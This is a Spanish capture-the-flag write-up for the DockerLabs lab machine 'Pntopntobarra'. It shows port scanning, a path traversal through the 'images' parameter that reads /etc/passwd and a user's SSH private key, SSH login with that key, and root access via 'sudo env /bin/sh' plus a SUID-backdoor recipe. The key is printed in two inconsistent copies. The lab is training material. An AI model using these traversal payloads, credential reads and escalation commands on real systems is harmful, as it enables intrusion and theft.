



# Write-Up: Máquina "Pntopntobarra"

- 📌 Plataforma: DockerLabs
  - 📌 Dificultad: Fácil
  - 📌 Autor: Joaquín Picazo
- 



## Metodología de Pentesting

El proceso se realizó siguiendo la siguiente metodología:

- 1 **Reconocimiento** – Recolección de información general sobre la máquina objetivo.
  - 2 **Escaneo y Enumeración** – Identificación de servicios, tecnologías y versiones en uso.
  - 3 **Explotación** – Uso de vulnerabilidades encontradas para obtener acceso al sistema.
  - 4 **Escalada de Privilegios y Post-Explotación** – Obtención de permisos elevados hasta lograr acceso total para realizar una extracción de información.
- 



## 1. Reconocimiento y Recolección de Información

Realizo un escaneo simple para encontrar los puertos abiertos. Con **-sS** hago un escaneo sigiloso de puertos TCP y **-Pn** porque ya se que el host está activo.

```
(root@kali)-[~]
└─# nmap -p- --open -vvv -Pn -sS 172.17.0.2
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-03 21:43 -04
Initiating ARP Ping Scan at 21:43
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 21:43, 0.35s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:43
Completed Parallel DNS resolution of 1 host. at 21:43, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 21:43
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Discovered open port 22/tcp on 172.17.0.2
Completed SYN Stealth Scan at 21:43, 9.05s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000032s latency).
Scanned at 2025-06-03 21:43:02 -04 for 9s
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh      syn-ack ttl 64
80/tcp    open  http     syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.07 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 91444 (8.710MB)
```

---

## 2. Escaneo y Enumeración

Escaneo de forma más profunda los puertos encontrados anteriormente para ver sus servicios y versiones a mayor detalle.

```
(root@kali)-[~]
# nmap -p22,80 -sC -sV 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-03 21:43 -04
Nmap scan report for 172.17.0.2
Host is up (0.000088s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
|_ ssh-hostkey:
|_  256 2e:4a:72:a0:b2:40:3a:36:99:c9:2d:a7:62:61:16:e7 (ECDSA)
|_  256 7c:7d:78:7a:20:2b:d0:75:92:26:1b:41:3c:ca:79:3c (ED25519)
80/tcp    open  http      Apache httpd 2.4.61 ((Debian))
|_ http-title: Advertencia: LeFvIrus
|_ http-server-header: Apache/2.4.61 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.15 seconds
```

Con Gobuster busco directorios en la web, sin embargo, no encuentra nada interesante.

```
(root@kali)-[~]
# gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x .php,.txt,.html

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/.html (Status: 403) [Size: 275]
/index.php (Status: 200) [Size: 926]
/.php (Status: 403) [Size: 275]
/.php (Status: 403) [Size: 275]
/.html (Status: 403) [Size: 275]
/server-status (Status: 403) [Size: 275]
Progress: 830572 / 830576 (100.00%)

Finished
```

Reviso directamente el código fuente de la principal interfaz de la web y encuentro que para acceder a una imagen usa una petición en la url usando la variable “**images**”. Puedo intentar acceder a otros archivos si es que no está configurado correctamente.

```
view-source:http://172.17.0.2/

1 <!DOCTYPE html>
2 <html lang="es">
3 <head>
4   <meta charset="UTF-8">
5   <meta name="viewport" content="width=device-width, initial-scale=1.0">
6   <title>Advertencia: LeFvIrus</title>
7   <link rel="stylesheet" href="styles.css">
8 </head>
9 <body>
10  <div class="container">
11    <h1>Advertencia</h1>
12    <p>El LeFvIrus ha sido detectado en tu sistema.</p>
13    <p>Este virus es altamente peligroso y está diseñado para propagarse rápidamente.</p>
14    <p>Tu seguridad está en riesgo. <span class="highlight">¡Actúa ahora!</span></p>
15    <form method="post">
16      <button type="submit" name="ejecutar_script" class="danger-button">Hacer clic aquí podría empeorar la situación.</button>
17    </form>
18    <button onclick="location.href='ejemplos.php?images=./ejemplo1.png'">Ejemplos de computadoras infectadas</button>
19  </div>
20
21  <div class="result">
22  </div>
23 </body>
24 </html>
25
```

### 🌟 3. Explotación de Vulnerabilidades

Usando la url con la variable, envío una petición para ir al directorio raíz para luego acceder al archivo `/etc/passwd` y leer su contenido. Se ve que el usuario `root` y `nico` tienen acceso a la terminal y uso de comandos `bash`.

```
view-source:http://172.17.0.2/ejemplos.php?images=../../../../../../../../etc/passwd

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

1 <!DOCTYPE html>
2 <html lang="es">
3 <head>
4   <meta charset="UTF-8">
5   <meta name="viewport" content="width=device-width, initial-scale=1.0">
6   <title>Ejemplos de computadoras infectadas</title>
7   <link rel="stylesheet" href="styles.css">
8 </head>
9 <body>
10  <div class="container">
11    <h1>Computadoras infectadas</h1>
12
13    root:x:0:0:root:/root:/bin/bash
14    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
15    bin:x:2:2:bin:/bin:/usr/sbin/nologin
16    sys:x:3:3:sys:/dev:/usr/sbin/nologin
17    sync:x:4:65534:sync:/bin:/bin/sync
18    games:x:5:60:games:/usr/games:/usr/sbin/nologin
19    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
20    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
21    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
22    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
23    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
24    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
25    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
26    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
27    list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin
28    irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
29    _apt:x:42:65534:/:nonexistent:/usr/sbin/nologin
30    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
31    systemd-network:x:998:998:systemd Network Management:/:usr/sbin/nologin
32    systemd-timesync:x:997:997:systemd Time Synchronization:/:usr/sbin/nologin
33    messagebus:x:100:102:/:nonexistent:/usr/sbin/nologin
34    sshd:x:101:65534:/:run/sshd:/usr/sbin/nologin
35    nico:x:1000:1000:,,,:/home/nico:/bin/bash
36  </div>
37 </body>
38 </html>
39
```

Como ahora ya sé que existe el usuario **nico**, intento acceder a su clave **RSA** para acceder por **SSH**.

```
view-source:http://172.17.0.2/ejemplos.php?images=../../../../../../../../home/nico/.ssh/id_rsa

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec Crack

1 <!DOCTYPE html>
2 <html lang="es">
3 <head>
4   <meta charset="UTF-8">
5   <meta name="viewport" content="width=device-width, initial-scale=1.0">
6   <title>Ejemplos de computadoras infectadas</title>
7   <link rel="stylesheet" href="styles.css">
8 </head>
9 <body>
10  <div class="container">
11    <h1>Computadoras infectadas</h1>
12
13    -----BEGIN OPENSSH PRIVATE KEY-----
14 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
50 -----END OPENSSH PRIVATE KEY-----
51 </div>
52 </body>
53 </html>
```

Creo un archivo con nano llamado id\_rsa y pego todo el contenido de la clave **RSA** del usuario “nico”.



Quedaría algo así:

```
Archivo  Acciones  Editar  Vista  Ayuda
GNU nano 8.2                                id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
[ 38 líneas leídas ]
Ayuda  Guardar  Buscar  Cortar  Ejecutar  Ubicación  Deshacer  Poner marca  A llave  Anterior
Salir  Leer fich.  Reemplazar  Pegar  Justificar  Ir a línea  Rehacer  Copiar  Buscar atrás  Siguiente
```

Hago que solo yo como root en mi máquina tenga permisos por seguridad y no sea rechazado al usarlo en **SSH**.

```
(root@kali)~[~]
# chmod 600 id_rsa
```

Uso el la clave **RSA** guardada en **id\_rsa** para acceder por **SSH** como usuario “**nico**”.

```
(root@kali)~[~]
# ssh nico@172.17.0.2 -i id_rsa
Linux 1d6d38d69a9d 6.12.13-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.13-1kali1 (2025-02-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Aug 21 21:11:09 2024 from 172.17.0.1
nico@1d6d38d69a9d:~$ whoami
nico
nico@1d6d38d69a9d:~$ id
uid=1000(nico) gid=1000(nico) groups=1000(nico),100(users)
```



## 4. Escalada de Privilegios y Post-explotación

Ya ingresado, aplico un “**sudo -l**” para ver qué archivos pueden ejecutarse como sudo y encuentro un archivo llamado “**env**” que puede ser ejecutado por cualquier usuario pero como si fuera superusuario.

```
nico@1d6d38d69a9d:~$ sudo -l
Matching Defaults entries for nico on 1d6d38d69a9d:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User nico may run the following commands on 1d6d38d69a9d:
  (ALL) NOPASSWD: /bin/env
```

En [GTFOBINS](https://gtfobins.github.io/gtfobins/env/#shell) busco si existe un comando para escalar privilegios con “**env**” y efectivamente existe uno.



It can be used to break out from restricted environments by spawning an interactive system shell.

```
env /bin/sh
```

### SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which env) .
./env /bin/sh -p
```

### Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo env /bin/sh
```

Ingreso el comando encontrado para escalar privilegios con “**env**” al poder usarse como sudo. Finalmente, soy root.

```
nico@1d6d38d69a9d:~$ sudo env /bin/sh
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
```

---

## Banderas y Resultados

- ✓ **Usuario:** Se obtuvo acceso como usuario no privilegiado.
- ✓ **Root:** Se logró escalar privilegios hasta obtener control total del sistema.